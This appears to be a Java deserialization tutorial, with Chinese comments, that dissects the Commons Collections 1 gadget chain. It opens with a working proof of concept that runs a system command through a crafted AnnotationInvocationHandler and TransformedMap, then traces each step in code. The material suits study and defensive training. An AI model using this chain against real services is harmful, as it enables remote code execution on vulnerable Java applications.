package com.govuln.deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "calc.exe" }),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

public interface Transformer {
    public Object transform(Object input);
}

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;   // 要调用的方法名
    private final Class[] iParamTypes;  // 方法参数类型列表
    private final Object[] iArgs;       // 方法参数值列表

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) return null;
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }
}

Class cls = input.getClass();                         // ① 拿到 input 的运行时 Class
Method method = cls.getMethod(iMethodName, iParamTypes); // ② 反射获取方法
return method.invoke(input, iArgs);                      // ③ 调用该方法

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invoker = new InvokerTransformer(
    "exec",
    new Class[]{String.class},
    new Object[]{"open -a Calculator"}
);
invoker.transform(runtime);  // → runtime.exec("open -a Calculator") ✓

public class TransformedMap extends AbstractInputCheckedMapDecorator {
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;

    protected TransformedMap(Map map, Transformer keyTransformer,
                             Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    // ★ 关键方法：setValue 时触发 valueTransformer.transform()
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    protected boolean isSetValueChecking() {
        return (valueTransformer != null);
    }
}

public static Map decorate(Map map, Transformer keyTransformer,
                           Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, invokerTransformer);
//                                   ↑原始Map  ↑key不转换  ↑setValue时触发exec

// AbstractInputCheckedMapDecorator.entrySet()
public Set entrySet() {
    if (isSetValueChecking()) {                         // TransformedMap 返回 true
        return new EntrySet(map.entrySet(), this);       // 包装原始 entrySet
    }
    return map.entrySet();
}

// EntrySet.iterator()
public Iterator iterator() {
    return new EntrySetIterator(collection.iterator(), parent);
    //                          ↑ 原始 HashMap 的迭代器    ↑ TransformedMap
}

// EntrySetIterator.next()
public Object next() {
    Map.Entry entry = (Map.Entry) iterator.next();   // 从 HashMap 取出原始 entry
    return new MapEntry(entry, parent);               // ★ 包一层 MapEntry
}

// MapEntry.setValue()
public Object setValue(Object value) {
    value = parent.checkSetValue(value);   // ← parent = TransformedMap
    return entry.setValue(value);          //    调用 checkSetValue → transform
}

for (Map.Entry entry : outerMap.entrySet()) {
    entry.setValue(runtime);
}

Iterator it = outerMap.entrySet().iterator();  // → EntrySetIterator
while (it.hasNext()) {
    Map.Entry entry = (Map.Entry) it.next();    // → MapEntry
    entry.setValue(runtime);                    // → checkSetValue → transform → exec
}

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);

for (Map.Entry entry : transformedmap.entrySet()) {
    entry.setValue(runtime);       // ★ 手动触发
}

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);

for (Map.Entry entry : transformedmap.entrySet()) {
    entry.setValue(runtime);
}

Iterator it = transformedmap.entrySet().iterator();  // ① ②
while (it.hasNext()) {
    Map.Entry entry = (Map.Entry) it.next();          // ③
    entry.setValue(runtime);                          // ④ ⑤ ⑥
}

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        throw new java.io.InvalidObjectException(
            "Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Object value = null;
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {
            value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                // ★ 关键触发点：类型不匹配时调用 setValue
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass().getName() + "[" + value + "]")
                    .setMember(annotationType.members().get(name)));
            }
        }
    }
}

public @interface Retention {
    RetentionPolicy value();  // 唯一成员，类型是 RetentionPolicy 枚举
}

Map innerMap = new HashMap();
innerMap.put("value", "xxxx");  // key="value" 匹配注解成员名，值类型为 String
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

InvocationHandler handler = (InvocationHandler) construct.newInstance(
    Retention.class,  // ← 注解类型是 Retention
    outerMap           // ← memberValues 是 decorated 的 TransformedMap
);

// 04 节：手动触发
entry.setValue(runtime);  // 传入 Runtime 对象

// 05 节：反序列化自动触发
memberValue.setValue(AnnotationTypeMismatchExceptionProxy);  // 传入类型错误代理对象

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    public ConstantTransformer(Object constantToReturn) {
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;  // ← 完全忽略 input，只返回构造时传入的常量
    }
}

new ConstantTransformer(Runtime.class)
// 无论 transform() 收到什么参数，都返回 Runtime.class

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    public ChainedTransformer(Transformer[] transformers) {
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
            //         ↑ 上一个的输出 → 作为下一个的输入
        }
        return object;
    }
}

Transformer[] transformers = new Transformer[] {
    // ① 冷启动：忽略任意输入，返回 Runtime.class
    new ConstantTransformer(Runtime.class),

    // ② 反射获取 getRuntime 方法
    new InvokerTransformer("getMethod",
        new Class[] { String.class, Class[].class },  // getMethod 的参数类型
        new Object[] { "getRuntime", new Class[0] }),  // 方法名 + 空参数

    // ③ invoke 调用 getRuntime() 拿到 Runtime 实例
    new InvokerTransformer("invoke",
        new Class[] { Object.class, Object[].class },
        new Object[] { null, new Object[0] }),  // null=静态方法调用

    // ④ 调用 exec 执行命令
    new InvokerTransformer("exec",
        new Class[] { String.class },
        new String[] { "calc.exe" }),
};

public @interface Retention {
    RetentionPolicy value();
}

Class<?> memberType = memberTypes.get(name);  // name = "value"
//                                      ↑ 如果传 "foo"，memberTypes 里没有 → memberType = null
//                                        直接跳过，不进入 setValue 分支

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);  // ← 硬编码，只用 valueTransformer
}